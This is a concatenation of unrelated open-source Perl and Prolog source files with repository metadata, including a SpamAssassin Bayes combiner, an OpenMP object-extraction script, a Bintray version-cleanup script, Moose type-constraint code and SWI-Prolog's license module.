# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# </@LICENSE>
use strict; # make Test::Perl::Critic happy
# this package is a no-op; the real impl code is in another pkg.
package Mail::SpamAssassin::Bayes::CombineNaiveBayes; 1;
# Force into another package, so our symbols will appear in that namespace with
# no indirection, for speed. Other combiners must do the same, since Bayes.pm
# uses this namespace directly. This means only one combiner can be loaded at
# any time.
package Mail::SpamAssassin::Bayes::Combine;
use strict;
use warnings;
# use bytes;
use re 'taint';
###########################################################################
# Value for 'x' in Gary Robinson's f(w) equation.
# "Let x = the number used when n [hits] is 0."
our $FW_X_CONSTANT = 0.600;
# Value for 's' in the f(w) equation. "We can see s as the "strength" (hence
# the use of "s") of an original assumed expectation ... relative to how
# strongly we want to consider our actual collected data." Low 's' means
# trust collected data more strongly.
our $FW_S_CONSTANT = 0.160;
# (s . x) for the f(w) equation.
our $FW_S_DOT_X = ($FW_X_CONSTANT * $FW_S_CONSTANT);
# Should we ignore tokens with probs very close to the middle ground (.5)?
# tokens need to be outside the [ .5-MPS, .5+MPS ] range to be used.
our $MIN_PROB_STRENGTH = 0.430;
###########################################################################
# Combine probabilities using Gary Robinson's naive-Bayesian-style
# combiner
sub combine {
my ($ns, $nn, $sortedref) = @_;
my $wc = scalar @$sortedref;
return unless $wc;
my $P = 1;
my $Q = 1;
foreach my $pw (@$sortedref) {
$P *= (1-$pw);
$Q *= $pw;
}
$P = 1 - ($P ** (1 / $wc));
$Q = 1 - ($Q ** (1 / $wc));
return (1 + ($P - $Q) / ($P + $Q)) / 2.0;
}
1;
| apache/spamassassin | lib/Mail/SpamAssassin/Bayes/CombineNaiveBayes.pm | Perl | apache-2.0 | 2,626 |
package Google::Ads::AdWords::v201409::TemplateElement;
use strict;
use warnings;
__PACKAGE__->_set_element_form_qualified(1);
sub get_xmlns { 'https://adwords.google.com/api/adwords/cm/v201409' };
our $XML_ATTRIBUTE_CLASS;
undef $XML_ATTRIBUTE_CLASS;
sub __get_attr_class {
return $XML_ATTRIBUTE_CLASS;
}
use Class::Std::Fast::Storable constructor => 'none';
use base qw(Google::Ads::SOAP::Typelib::ComplexType);
{ # BLOCK to scope variables
my %uniqueName_of :ATTR(:get<uniqueName>);
my %fields_of :ATTR(:get<fields>);
__PACKAGE__->_factory(
[ qw( uniqueName
fields
) ],
{
'uniqueName' => \%uniqueName_of,
'fields' => \%fields_of,
},
{
'uniqueName' => 'SOAP::WSDL::XSD::Typelib::Builtin::string',
'fields' => 'Google::Ads::AdWords::v201409::TemplateElementField',
},
{
'uniqueName' => 'uniqueName',
'fields' => 'fields',
}
);
} # end BLOCK
1;
=pod
=head1 NAME
Google::Ads::AdWords::v201409::TemplateElement
=head1 DESCRIPTION
Perl data type class for the XML Schema defined complexType
TemplateElement from the namespace https://adwords.google.com/api/adwords/cm/v201409.
Represents an element in a template. Each template element is composed of a list of fields (actual value data).
=head2 PROPERTIES
The following properties may be accessed using get_PROPERTY / set_PROPERTY
methods:
=over
=item * uniqueName
=item * fields
=back
=head1 METHODS
=head2 new
Constructor. The following data structure may be passed to new():
=head1 AUTHOR
Generated by SOAP::WSDL
=cut
| gitpan/GOOGLE-ADWORDS-PERL-CLIENT | lib/Google/Ads/AdWords/v201409/TemplateElement.pm | Perl | apache-2.0 | 1,621 |
#!/usr/bin/env perl
# <copyright>
# Copyright (c) 2013-2016 Intel Corporation. All Rights Reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions
# are met:
#
# * Redistributions of source code must retain the above copyright
# notice, this list of conditions and the following disclaimer.
# * Redistributions in binary form must reproduce the above copyright
# notice, this list of conditions and the following disclaimer in the
# documentation and/or other materials provided with the distribution.
# * Neither the name of Intel Corporation nor the names of its
# contributors may be used to endorse or promote products derived
# from this software without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
# A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
# HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
# SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
# LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
# DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
# THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
#
# </copyright>
use strict;
use warnings;
use File::Glob ":glob";
use File::Temp;
use Cwd;
use FindBin;
use lib "$FindBin::Bin/lib";
use tools;
use Uname;
use Platform ":vars";
our $VERSION = "0.005";
# --------------------------------------------------------------------------------------------------
# Subroutines.
# --------------------------------------------------------------------------------------------------
sub windows {
my ( $arch, $output, @args ) = @_;
my %files;
# TODO: Check the archives are of specified architecture.
my $cwd = Cwd::cwd();
foreach my $arg ( @args ) {
foreach my $archive ( bsd_glob( $arg ) ) {
info( "Processing \"$archive\"..." );
my $bulk;
# the abs_path() command will create an archive path which is compatible
# in Windows in any environment (bash shell or cmd.exe shell)
$archive = abs_path( $archive, $cwd );
execute( [ "lib.exe", "/nologo", "/list", $archive ], -stdout => \$bulk );
my @members = split( "\n", $bulk );
foreach my $member ( @members ) {
my $file = get_file( $member );
my $path = cat_file( $output, $file );
if ( exists( $files{ $file } ) ) {
runtime_error(
"Extraction \"$file\" member from \"$archive\" archive failed:",
"\"$file\" member has already been extracted from \"$files{ $file }\" archive"
);
}; # if
$files{ $file } = $archive;
info( " Writing \"$path\"..." );
execute( [ "lib.exe", "/nologo", "/extract:" . $member, "/out:" . $path, $archive ] );
}; # foreach $member
}; # foreach $archive
}; # foreach $arg
}; # sub windows
sub linux {
my ( $arch, $output, @archives ) = @_;
# TODO: Check the archives are of specified architecture.
my $cwd = Cwd::cwd();
change_dir( $output );
foreach my $archive ( @archives ) {
info( "Processing \"$archive\"..." );
my $path = abs_path( $archive, $cwd );
execute( [ "ar", "xo", $path ] );
}; # foreach $archive
change_dir( $cwd );
}; # sub linux
my %mac_arch = (
"32" => "i386",
"32e" => "x86_64"
);
sub darwin {
my ( $arch, $output, @archives ) = @_;
my $cwd = getcwd();
change_dir( $output );
if ( defined( $arch ) ) {
if ( not defined( $mac_arch{ $arch } ) ) {
runtime_error( "Architecture \"$arch\" is not a valid one for OS X*" );
}; # if
$arch = $mac_arch{ $arch };
}; # if
foreach my $archive ( @archives ) {
info( "Processing \"$archive\"..." );
my $path = abs_path( $archive, $cwd );
my $temp;
# Whether archive is a fat or thin?
my $bulk;
execute( [ "file", $path ], -stdout => \$bulk );
if ( $bulk =~ m{Mach-O universal binary} ) {
# Archive is fat, extracy thin archive first.
if ( not defined( $arch ) ) {
runtime_error(
"\"$archive\" archive is universal binary, " .
"please specify architecture to work with"
);
}; # if
( undef, $temp ) = File::Temp::tempfile();
execute( [ "libtool", "-static", "-arch_only", $arch, "-o", $temp, $path ] );
$path = $temp;
}; # if
execute( [ "ar", "xo", $path ] ); # Extract members.
if ( defined( $temp ) ) { # Delete temp file, if any.
del_file( $temp );
}; # if
}; # foreach $archive
change_dir( $cwd );
}; # sub darwin
# --------------------------------------------------------------------------------------------------
# Main.
# --------------------------------------------------------------------------------------------------
# Parse command line.
my $output = ".";
my @args;
get_options(
Platform::target_options(),
"o|output-directory=s" => \$output,
);
@args = @ARGV;
if ( not -e $output ) {
runtime_error( "Output directory \"$output\" does not exist" );
}; # if
if ( not -d $output ) {
runtime_error( "\"$output\" is not a directory" );
}; # if
if ( not -w $output ) {
runtime_error( "Output directory \"$output\" is not writable" );
}; # if
if ( $target_os eq "win" ) {
*process = \&windows;
} elsif ( $target_os eq "lin") {
*process = \&linux;
} elsif ( $target_os eq "mac" ) {
*process = \&darwin;
} else {
runtime_error( "OS \"$target_os\" not supported" );
}; # if
# Do the work.
process( $target_arch, $output, @args );
exit( 0 );
__END__
=pod
=head1 NAME
B<extract-objects.pl> -- Extract all object files from static library.
=head1 SYNOPSIS
B<extract-objects.pl> I<option>... I<archive>...
=head1 OPTIONS
=over
=item B<--architecture=>I<arch>
Specify architecture to work with. The option is mandatory on OS X* in case of universal archive.
In other cases the option should not be used. I<arch> may be one of C<32> or C<32e>.
=item B<--os=>I<str>
Specify OS name. By default OS is autodetected.
Depending on OS, B<extract-objects.pl> uses different external tools for handling static
libraries: F<ar> (in case of "lin" and "mac") or F<lib.exe> (in case of "win").
=item B<--output-directory=>I<dir>
Specify directory to write extracted members to. Current directory is used by default.
=item B<--help>
Print short help message and exit.
=item B<--doc>
=item B<--manual>
Print full documentation and exit.
=item B<--quiet>
Do not print information messages.
=item B<--version>
Print version and exit.
=back
=head1 ARGUMENTS
=over
=item I<archive>
A name of archive file (static library). Multiple archives may be specified.
=back
=head1 DESCRIPTION
The script extracts all the members (object files) from archive (static library) to specified
directory. Commands to perform this action differ on different OSes. On Linux* OS, simple command
ar xo libfile.a
is enough (in case of extracting files to current directory).
On OS X*, it is a bit compilicated with universal ("fat") binaries -- C<ar> cannot
operate on fat archives, so "thin" archive should be extracted from the universal binary first.
On Windows* OS, library manager (C<lib.exe>) can extract only one object file, so operation should be
repeated for every object file in the library.
B<extract-objects.pl> detects OS automatically. But detection can be overrided with B<--os> option.
It may be helpful in cross-build environments.
B<extract-objects.pl> effectively encapsulates all these details and provides uniform way for
extracting object files from static libraries, which helps to keep makefiles simple and clean.
=head1 EXAMPLES
Extract object files from library F<libirc.lib>, and put them into F<obj/> directory:
$ extract-objects.pl --output=obj libirc.lib
Extract object files from library F<libirc.a>. Use Linux* OS tools (F<ar>), even if run on another OS:
$ extract-objects.pl --os=lin libirc.a
Extract object files from library F<libirc.a>, if it is a OS X* universal binary, use i386
architecture. Be quiet:
$ extract-objects.pl --quiet --arch=i386 libirc.a
=cut
# end of file #
| passlab/intel-openmp-runtime | tools/extract-objects.pl | Perl | bsd-3-clause | 8,964 |
#!/usr/bin/env perl
# vim:ts=4:sw=4:expandtab
use strict;
use warnings;
use Data::Dumper;
use HTTP::Tiny; # in core since v5.13.9
use JSON::PP; # in core since v5.13.9
use MIME::Base64; # in core since v5.7
use v5.13;
my $repo = shift;
my $auth = $ENV{'BINTRAY_USER'} . ':' . $ENV{'BINTRAY_KEY'};
die "BINTRAY_USER and/or BINTRAY_KEY environment variables not set" if $auth eq ':';
# TODO(stapelberg): switch to putting $auth into the URL once perl-modules ≥
# 5.20 is available on travis (Ubuntu Wily or newer).
my $auth_header = 'Basic ' . MIME::Base64::encode_base64($auth, "");
my $apiurl = 'https://api.bintray.com/packages/i3/' . $repo . '/i3-wm';
my $client = HTTP::Tiny->new(
verify_SSL => 1,
default_headers => {
'authorization' => $auth_header,
});
my $resp = $client->get($apiurl);
die "Getting versions failed: HTTP status $resp->{status} (content: $resp->{content})" unless $resp->{success};
my $decoded = decode_json($resp->{content});
my @versions = reverse sort @{$decoded->{versions}};
# Keep the most recent 5 versions.
splice(@versions, 0, 5);
for my $version (@versions) {
say "Deleting old version $version";
$resp = $client->request('DELETE', "$apiurl/versions/$version");
die "Deletion of version $version failed: HTTP status $resp->{status} (content: $resp->{content})" unless $resp->{success};
}
| EvilPudding/i3 | travis/cleanup-bintray.pl | Perl | bsd-3-clause | 1,360 |
package AsposeCellsCloud::Object::CellsDocumentPropertyResponse;
require 5.6.0;
use strict;
use warnings;
use utf8;
use JSON qw(decode_json);
use Data::Dumper;
use Module::Runtime qw(use_module);
use Log::Any qw($log);
use Date::Parse;
use DateTime;
use base "AsposeCellsCloud::Object::BaseObject";
#
#
#
#NOTE: This class is auto generated by the swagger code generator program. Do not edit the class manually.
#
my $swagger_types = {
'DocumentProperty' => 'CellsDocumentProperty',
'Code' => 'string',
'Status' => 'string'
};
my $attribute_map = {
'DocumentProperty' => 'DocumentProperty',
'Code' => 'Code',
'Status' => 'Status'
};
# new object
sub new {
my ($class, %args) = @_;
my $self = {
#
'DocumentProperty' => $args{'DocumentProperty'},
#
'Code' => $args{'Code'},
#
'Status' => $args{'Status'}
};
return bless $self, $class;
}
# get swagger type of the attribute
sub get_swagger_types {
return $swagger_types;
}
# get attribute mappping
sub get_attribute_map {
return $attribute_map;
}
1;
| farooqsheikhpk/Aspose.Cells-for-Cloud | SDKs/Aspose.Cells-Cloud-SDK-for-Perl/lib/AsposeCellsCloud/Object/CellsDocumentPropertyResponse.pm | Perl | mit | 1,112 |
false :- r7(A,B,C,D),C < (D + 1).
false :- r7(A,B,C,D),C > (D + 1).
r8 :- r7(A,B,C,D),C = (D + 1), C = E, D = F.
r6(A,B,C,D) :- r5(A,B,E,F),(D >= 0), E = C.
r5(A,B,C,D) :- A = C, B = D.
r4(A,B,C,D) :- r2(A,B,E,F,G,H),C = 1, G = D, H = I.
r4(A,B,C,D) :- r3(A,B,E,F,G,H),C = (H + 1), G = D, H = I.
r2(A,B,C,D,E,F) :- r0(A,B,C,G,H,I),H =< 0, G = D, H = E, I = F.
r1(A,B,C,D,E,F) :- r0(A,B,C,G,H,I),(H > 0), G = D, H = E, I = F.
r3(A,B,C,D,E,F) :- r1(A,B,C,G,H,I),J = (H - 1),r4(K,J,L,M),L = F,G = D, H = E.
r0(A,B,C,D,E,F) :- r1(G,H,I,J,K,L),B = (K - 1),A = D, B = E.
r7(A,B,C,D) :- r6(A,B,E,F),G = F,r4(H,G,I,J),I = C,F = D.
r0(A,B,C,D,E,F) :- r6(G,H,I,J),B = J,A = D, B = E.
| bishoksan/LHornSolver | examples/running.nts.pl | Perl | apache-2.0 | 674 |
package Moose::Meta::TypeConstraint::Class;
BEGIN {
$Moose::Meta::TypeConstraint::Class::AUTHORITY = 'cpan:STEVAN';
}
{
$Moose::Meta::TypeConstraint::Class::VERSION = '2.0602';
}
use strict;
use warnings;
use metaclass;
use B;
use Scalar::Util 'blessed';
use Moose::Util::TypeConstraints ();
use base 'Moose::Meta::TypeConstraint';
__PACKAGE__->meta->add_attribute('class' => (
reader => 'class',
Class::MOP::_definition_context(),
));
my $inliner = sub {
my $self = shift;
my $val = shift;
return 'Scalar::Util::blessed(' . $val . ')'
. ' && ' . $val . '->isa(' . B::perlstring($self->class) . ')';
};
sub new {
my ( $class, %args ) = @_;
$args{parent}
= Moose::Util::TypeConstraints::find_type_constraint('Object');
my $class_name = $args{class};
$args{constraint} = sub { $_[0]->isa($class_name) };
$args{inlined} = $inliner;
my $self = $class->SUPER::new( \%args );
$self->compile_type_constraint();
return $self;
}
sub parents {
my $self = shift;
return (
$self->parent,
map {
# FIXME find_type_constraint might find a TC named after the class but that isn't really it
# I did this anyway since it's a convention that preceded TypeConstraint::Class, and it should DWIM
# if anybody thinks this problematic please discuss on IRC.
# a possible fix is to add by attr indexing to the type registry to find types of a certain property
# regardless of their name
Moose::Util::TypeConstraints::find_type_constraint($_)
||
__PACKAGE__->new( class => $_, name => "__ANON__" )
} Class::MOP::class_of($self->class)->superclasses,
);
}
sub equals {
my ( $self, $type_or_name ) = @_;
my $other = Moose::Util::TypeConstraints::find_type_constraint($type_or_name);
if (!defined($other)) {
if (!ref($type_or_name)) {
return $self->class eq $type_or_name;
}
return;
}
return unless $other->isa(__PACKAGE__);
return $self->class eq $other->class;
}
sub is_a_type_of {
my ($self, $type_or_name) = @_;
($self->equals($type_or_name) || $self->is_subtype_of($type_or_name));
}
sub is_subtype_of {
my ($self, $type_or_name_or_class ) = @_;
my $type = Moose::Util::TypeConstraints::find_type_constraint($type_or_name_or_class);
if ( not defined $type ) {
if ( not ref $type_or_name_or_class ) {
# it might be a class
my $class = $self->class;
return 1 if $class ne $type_or_name_or_class
&& $class->isa( $type_or_name_or_class );
}
return;
}
if ( $type->isa(__PACKAGE__) && $type->class ne $self->class) {
# if $type_or_name_or_class isn't a class, it might be the TC name of another ::Class type
# or it could also just be a type object in this branch
return $self->class->isa( $type->class );
} else {
# the only other thing we are a subtype of is Object
$self->SUPER::is_subtype_of($type);
}
}
# This is a bit counter-intuitive, but a child type of a Class type
# constraint is not itself a Class type constraint (it has no class
# attribute). This whole create_child_type thing needs some changing
# though, probably making MMC->new a factory or something.
sub create_child_type {
my ($self, @args) = @_;
return Moose::Meta::TypeConstraint->new(@args, parent => $self);
}
sub get_message {
my $self = shift;
my ($value) = @_;
if ($self->has_message) {
return $self->SUPER::get_message(@_);
}
$value = (defined $value ? overload::StrVal($value) : 'undef');
return "Validation failed for '" . $self->name . "' with value $value (not isa " . $self->class . ")";
}
1;
# ABSTRACT: Class/TypeConstraint parallel hierarchy
=pod
=head1 NAME
Moose::Meta::TypeConstraint::Class - Class/TypeConstraint parallel hierarchy
=head1 VERSION
version 2.0602
=head1 DESCRIPTION
This class represents type constraints for a class.
=head1 INHERITANCE
C<Moose::Meta::TypeConstraint::Class> is a subclass of
L<Moose::Meta::TypeConstraint>.
=head1 METHODS
=over 4
=item B<< Moose::Meta::TypeConstraint::Class->new(%options) >>
This creates a new class type constraint based on the given
C<%options>.
It takes the same options as its parent, with two exceptions. First,
it requires an additional option, C<class>, which is name of the
constraint's class. Second, it automatically sets the parent to the
C<Object> type.
The constructor also overrides the hand optimized type constraint with
one it creates internally.
=item B<< $constraint->class >>
Returns the class name associated with the constraint.
=item B<< $constraint->parents >>
Returns all the type's parent types, corresponding to its parent
classes.
=item B<< $constraint->is_subtype_of($type_name_or_object) >>
If the given type is also a class type, then this checks that the
type's class is a subclass of the other type's class.
Otherwise it falls back to the implementation in
L<Moose::Meta::TypeConstraint>.
=item B<< $constraint->create_child_type(%options) >>
This returns a new L<Moose::Meta::TypeConstraint> object with the type
as its parent.
Note that it does I<not> return a
C<Moose::Meta::TypeConstraint::Class> object!
=item B<< $constraint->get_message($value) >>
This is the same as L<Moose::Meta::TypeConstraint/get_message> except
that it explicitly says C<isa> was checked. This is to help users deal
with accidentally autovivified type constraints.
=back
=head1 BUGS
See L<Moose/BUGS> for details on reporting bugs.
=head1 AUTHOR
Moose is maintained by the Moose Cabal, along with the help of many contributors. See L<Moose/CABAL> and L<Moose/CONTRIBUTORS> for details.
=head1 COPYRIGHT AND LICENSE
This software is copyright (c) 2012 by Infinity Interactive, Inc..
This is free software; you can redistribute it and/or modify it under
the same terms as the Perl 5 programming language system itself.
=cut
__END__
| leighpauls/k2cro4 | third_party/perl/perl/vendor/lib/Moose/Meta/TypeConstraint/Class.pm | Perl | bsd-3-clause | 6,100 |
/* Part of SWI-Prolog
Author: Jan Wielemaker
E-mail: J.Wielemaker@vu.nl
WWW: http://www.swi-prolog.org
Copyright (c) 2002-2016, University of Amsterdam
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions
are met:
1. Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in
the documentation and/or other materials provided with the
distribution.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
POSSIBILITY OF SUCH DAMAGE.
*/
:- module(license,
[ license/1, % +LicenseId
license/2, % +LicenseId, +ModuleId
license/0, % Current situation
known_licenses/0
]).
:- dynamic
licensed/2. % +Id, +Module
:- multifile
license/3.
/* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
License definitions. This data is (still incomplete) taken from
http://www.fsf.org/licenses/license-list.html. The first argument is the
license identifier. The second tells us with which of the two principal
licenses (GPL and LGPL) the license is compatible. The remainder is a
list of properties that can be used with more high-level
license-information tools.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */
license(gpl, gpl,
[ comment('GNU General Public License'),
url('http://www.fsf.org/copyleft/gpl.html')
]).
license(gplv2, gpl,
[ comment('GNU General Public License, version 2'),
url('http://www.fsf.org/copyleft/gpl.html')
]).
license('gplv2+', gpl,
[ comment('GNU General Public License, version 2 or later'),
url('http://www.fsf.org/copyleft/gpl.html')
]).
license(gplv3, gpl,
[ comment('GNU General Public License, version 3'),
url('http://www.fsf.org/copyleft/gpl.html')
]).
license(lgpl, lgpl,
[ comment('GNU Lesser General Public License'),
url('http://www.fsf.org/copyleft/lesser.html')
]).
license(lgplv2, lgpl,
[ comment('GNU Lesser General Public License, version 2'),
url('http://www.fsf.org/copyleft/lesser.html')
]).
license('lgplv2+', lgpl,
[ comment('GNU Lesser General Public License, version 2 or later'),
url('http://www.fsf.org/copyleft/lesser.html')
]).
license(lgplv3, lgpl,
[ comment('GNU Lesser General Public License, version 3'),
url('http://www.fsf.org/copyleft/lesser.html')
]).
license(gpl_swipl, lgpl,
[ comment('SWI-Prolog Prolog Source License for versions up to 7.3.32'),
url('http://www.swi-prolog.org/license-old.html')
]).
license(swipl, lgpl,
[ comment('SWI-Prolog Prolog Source License for versions up to 7.3.32'),
url('http://www.swi-prolog.org/license-old.html')
]).
% Other GPL/LGPL compatible licenses.
% TBD: Check permissive status of these licenses
license(guile, lgpl,
[ comment('License for Guile'),
url('https://www.gnu.org/software/guile/docs/docs-1.6/guile-ref/Guile-License.html')
]).
license(gnu_ada, lgpl,
[ comment('The license of the run-time units of the GNU Ada compiler'),
url('https://en.wikipedia.org/wiki/GNAT#License')
]).
license(x11, permissive,
[ comment('The X11 license'),
url('http://www.x.org/terms.htm')
]).
license(expat, permissive,
[ comment('Expat license'),
url('http://www.jclark.com/xml/copying.txt')
]).
license(sml, permissive,
[ comment('Standard ML of New Jersey Copyright License'),
url('http://cm.bell-labs.com/cm/cs/what/smlnj/license.html')
]).
license(public_domain, permissive,
[ comment('Unrestricted Public domain')
]).
license(cryptix, permissive,
[ comment('The Cryptix General License'),
url('http://www.cryptix.org/docs/license.html')
]).
license(bsd, permissive,
[ comment('The modified BSD license'),
url('http://www.xfree86.org/3.3.6/COPYRIGHT2.html#5')
]).
license(mit, permissive,
[ comment('The MIT License'),
url('https://en.wikipedia.org/wiki/MIT_License')
]).
license(zlib, permissive,
[ comment('The license of ZLib'),
url('http://www.gzip.org/zlib/zlib_license.html')
]).
license(agpl, gpl,
[ comment('Affero General Public License'),
url('http://www.gnu.org/licenses/agpl-3.0.en.html')
]).
license(lgpl_compatible, lgpl,
[ comment('Other LGPL compatible license')
]).
license(gpl_compatible, gpl,
[ comment('Other GPL and not LGPL compatible license')
]).
license(permissive, permissive,
[ comment('Other permissive license')
]).
license(asl2, permissive,
[ comment('Apache License 2.0'),
url('http://www.apache.org/licenses/LICENSE-2.0')
]).
%! license(+License) is det.
%! license(+License, +ModuleId) is det.
%
% Register the current file under the given license restriction.
license(License) :-
( prolog_load_context(file, File)
-> true
; File = '<unknown file>'
),
license(License, File).
license(License, File) :-
warn_if_unknown(License),
assertz(licensed(License, File)).
warn_if_unknown(License) :-
license(License, _, _),
!.
warn_if_unknown(License) :-
print_message(warning, unknown_license(License)).
%! license is det.
%
% Report current license situation
license :-
(setof(Module, gpled(Module), GPL) -> true ; GPL = []),
(setof(Module, lgpled(Module), LGPL) -> true ; LGPL = []),
findall(L-Modules,
setof(Module, permissive(Module, L), Modules),
Permissive),
findall(L-Modules,
setof(Module, proprietary(Module, L), Modules),
Proprietary),
print_message(informational, license(GPL,LGPL,Permissive,Proprietary)).
gpled(Module) :-
licensed(X, Module),
license(X, gpl, _).
lgpled(Module) :-
licensed(X, Module),
license(X, lgpl, _).
permissive(Module, L) :-
licensed(L, Module),
license(L, permissive, _).
proprietary(Module, L) :-
licensed(L, Module),
( license(L, C, _)
-> C \== gpl,
C \== lgpl,
C \== permissive
; true
).
%! known_licenses
%
% Print all known licenses.
known_licenses :-
findall(license(Id,Compat,Atts),
license(Id,Compat,Atts),
Licenses),
print_message(informational, known_licenses(Licenses)).
/*******************************
* MESSAGES *
*******************************/
:- multifile
prolog:message/3.
prolog:message(license(GPL,LGPL,Permissive,Proprietary)) -->
license_message(GPL,LGPL,Permissive,Proprietary).
prolog:message(unknown_license(License)) -->
[ 'The license "~w" is not known. You can list the known '-[License], nl,
'licenses using ?- known_licenses. or add information about this ',
'license by extending license:license/3.'
].
prolog:message(known_licenses(Licenses)) -->
[ 'The following license identifiers may be used in license/2',
'and PL_license()'
],
known_licenses(Licenses).
%! license_message(+GPL, +LGPL, +Proprietary)//
license_message(GPL, LGPL, Permissive, Proprietary) -->
license_message(GPL, LGPL, Permissive),
proprietary_licenses(Proprietary).
license_message([], [], Permissive) -->
!,
[ 'This program contains only components covered by permissive license', nl,
'conditions. SWI-Prolog is covered by the Simplified BSD license:',
nl, nl
],
bsd2_license,
permissive_licenses(Permissive).
license_message(GPL, _, _) -->
{ GPL \== [] },
!,
[ 'SWI-Prolog is covered by the Simplified BSD license:', nl, nl ],
bsd2_license, [nl, nl],
warn([ 'This program contains components covered by the GNU General', nl,
'Public License, which therefore apply to the entire program.', nl,
'These components are:', nl, nl
]),
file_list(GPL).
license_message([], LGPL, _) -->
!,
[ 'SWI-Prolog is covered by the Simplified BSD license:', nl, nl ],
bsd2_license, [nl, nl],
warn([ 'This program contains components covered by the GNU Lesser', nl,
'Public License. Distribution of this program is subject to', nl,
'additional conditions. These components are:', nl, nl
]),
file_list(LGPL).
bsd2_license -->
[ 'Redistribution and use in source and binary forms, with or without', nl,
'modification, are permitted provided that the following conditions', nl,
'are met:', nl,
nl,
'1. Redistributions of source code must retain the above copyright', nl,
' notice, this list of conditions and the following disclaimer.', nl,
nl,
'2. Redistributions in binary form must reproduce the above copyright', nl,
' notice, this list of conditions and the following disclaimer in', nl,
' the documentation and/or other materials provided with the', nl,
' distribution.', nl,
nl,
'THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS', nl,
'"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT', nl,
'LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS', nl,
'FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE', nl,
'COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,', nl,
'INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,', nl,
'BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;', nl,
'LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER', nl,
'CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT', nl,
'LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN', nl,
'ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE', nl,
'POSSIBILITY OF SUCH DAMAGE.'
].
permissive_licenses([]) --> !.
permissive_licenses([LM| LMs]) -->
[ nl, nl,
'This program contains other components with permissive licenses:',
nl, nl
],
permissive([LM| LMs]).
permissive([]) --> [].
permissive([License-Modules|T]) -->
license_title(License),
license_url(License),
[nl],
file_list(Modules),
( {T==[]}
-> []
; [nl],
permissive(T)
).
proprietary_licenses([]) --> !.
proprietary_licenses(List) -->
warn([ nl,
'This program contains components with proprietary licenses:',
nl, nl
]),
proprietary(List).
proprietary([]) --> [].
proprietary([License-Modules|T]) -->
license_title(License),
license_url(License),
[nl],
file_list(Modules),
( {T==[]}
-> []
; [nl],
proprietary(T)
).
license_title(License) -->
{ license(License, _, Att),
memberchk(comment(C), Att)
-> true
; C = License
},
[ ' The following components are covered by the "~w" license'-[C] ].
license_url(License) -->
{ license(License, _, Att),
memberchk(url(URL), Att)
},
!,
[ nl, ' (see ~w)'-[URL] ].
license_url(_) --> [].
file_list([]) -->
[].
file_list([H|T]) -->
[ ' ~w'-[H], nl ],
file_list(T).
known_licenses([]) --> [].
known_licenses([H|T]) --> [nl,nl], known_license(H), known_licenses(T).
known_license(license(ID, Compat, Atts)) -->
{ memberchk(comment(Comment), Atts) },
!,
[ ' ~w (category ~w): ~w'-[ID, Compat, Comment] ],
license_url(ID).
known_license(license(ID, Compat, _)) -->
[ ' ~w (category ~w)'-[ID, Compat] ],
license_url(ID).
warn([]) --> [].
warn([H|T]) --> warn1(H), warn(T).
warn1(nl) --> !, [nl].
warn1(Line) --> [ansi([fg(red)], Line, [])].
warn1(Line-Args) --> [ansi([fg(red)], Line, Args)].
| josd/eye | eye-wasm/swipl-wasm/home/boot/license.pl | Perl | mit | 13,145 |
#! /usr/bin/env perl
